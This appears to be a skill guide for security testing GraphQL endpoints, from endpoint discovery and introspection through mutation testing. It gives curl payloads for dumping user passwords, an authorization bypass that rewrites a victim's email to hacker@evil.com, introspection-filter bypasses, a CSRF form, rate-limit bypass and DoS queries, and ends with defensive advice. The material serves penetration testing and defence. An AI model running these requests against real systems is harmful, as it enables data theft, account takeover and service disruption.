GraphQL Security Testing

A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.

Quick Start

# Detect if a URL hosts GraphQL
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename}"}' https://target.com/graphql

# Expected response for GraphQL endpoint:
# {"data": {"__typename": "Query"}}

Workflow

1. Discovery and Fingerprinting

Find GraphQL endpoints by testing common paths:

• /graphql

• /graphiql

• /graphql.php

• /graphql/console

• /api

• /api/graphql

• /graphql/api

• /graphql/graphql

Fingerprint the GraphQL engine using graphw00f:

pip install graphw00f
graphw00f https://target.com/graphql

This identifies the backend (Apollo, GraphQL-Java, async-graphql, etc.) which helps prioritize known vulnerabilities.

2. Introspection Enumeration

Check if introspection is enabled:

# Basic schema query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name}}}"}' https://target.com/graphql

# Full schema with fields and arguments
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' https://target.com/graphql

Use the bundled script for automated introspection:

./scripts/graphql-introspect.sh https://target.com/graphql

Visualize the schema with GraphQL Voyager if introspection is enabled.

3. Test Error Handling

Check if errors leak sensitive information:

# Empty query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{}"}' https://target.com/graphql

# Invalid field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql

Verbose errors can reveal schema details, field names, and internal logic.

4. Query Enumeration

Identify queryable objects from the schema. Look for

queryType

Extract data by querying exposed fields:

# Query a simple object
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{flags{name,value}}"}' https://target.com/graphql

# Query with arguments (brute force IDs if needed)
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql

Search for empty string bypass - some APIs dump all data when searching with empty strings:

# If you can search by string field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql

5. Mutation Testing

Find mutations in the schema (look for

mutationType

Test mutation operations:

# Example: add a movie
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql

Test authorization bypass - try modifying other users' data:

# Attempt to update another user's profile
curl -X POST -H "Content-Type: application/json" \
  -d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql

6. Bypass Introspection Defenses

If introspection is blocked, try these bypasses:

Add whitespace/newlines after

__schema

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "query{__schema\n{queryType{name}}}"}' https://target.com/graphql

Try GET requests:

curl -s "https://target.com/graphql?query={__schema{types{name}}}"

Try form-urlencoded POST:

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'query={__schema{types{name}}}' https://target.com/graphql

Use schema reconstruction tools:

• Clairvoyance - Reconstructs schema from error messages
• GraphQuail - Burp extension that builds schema from observed queries
• InQL - Advanced GraphQL testing with schema bruteforcing

7. Test for Common Vulnerabilities

CSRF - Test if form-urlencoded POST is accepted without CSRF tokens:

# Create a CSRF test page
cat > csrf_test.html << 'EOF'
<form action="https://target.com/graphql" method="POST">
  <input type="hidden" name="query" value='{"mutation":"addMovie(name:\"Hacked\",rating:\"1/10\")"}'>
</form>
EOF

Rate limit bypass with aliases:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "query{check1:isValidDiscount(code:1){valid}check2:isValidDiscount(code:2){valid}check3:isValidDiscount(code:3){valid}}"}' https://target.com/graphql

Batching attacks - Send multiple queries in one request:

curl -X POST -H "Content-Type: application/json" \
  -d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql

8. DoS Testing

Use the bundled script to generate DoS payloads:

./scripts/graphql-dos-payloads.sh

Alias overloading - Repeat fields with aliases:

# Generates 100+ aliases for the same field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql

Directive overloading - Repeat directives:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename @include(if:true) @include(if:true) @include(if:true)}"}' https://target.com/graphql

Field duplication - Repeat the same field:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename __typename __typename ...}"}' https://target.com/graphql

9. WebSocket Testing

Check for GraphQL over WebSocket which might bypass WAF:

// Test WebSocket connection
ws = new WebSocket("wss://target.com/graphql", "graphql-ws")
ws.onopen = function() {
  ws.send(JSON.stringify({
    type: "GQL.START",
    id: "1",
    payload: {
      query: "{__schema{types{name}}}"}
  }))
}

10. Check for Known CVEs

After fingerprinting, check for known vulnerabilities:

@include

createMediaItem

Tools

Essential tools for GraphQL testing:

Defensive Recommendations

For developers securing GraphQL endpoints:

1. Disable introspection in production
2. Implement rate limiting per IP and per user
3. Use CSRF tokens for all mutations
4. Validate and sanitize all inputs
5. Implement query depth/complexity limits
6. Use graphql-armor middleware for automatic protection
7. Enable proper authentication and authorization
8. Log and monitor for unusual query patterns

References

• GraphQL Threat Matrix
• PortSwigger GraphQL Security
• PayloadsAllTheThings - GraphQL
• graphql-armor - Defensive middleware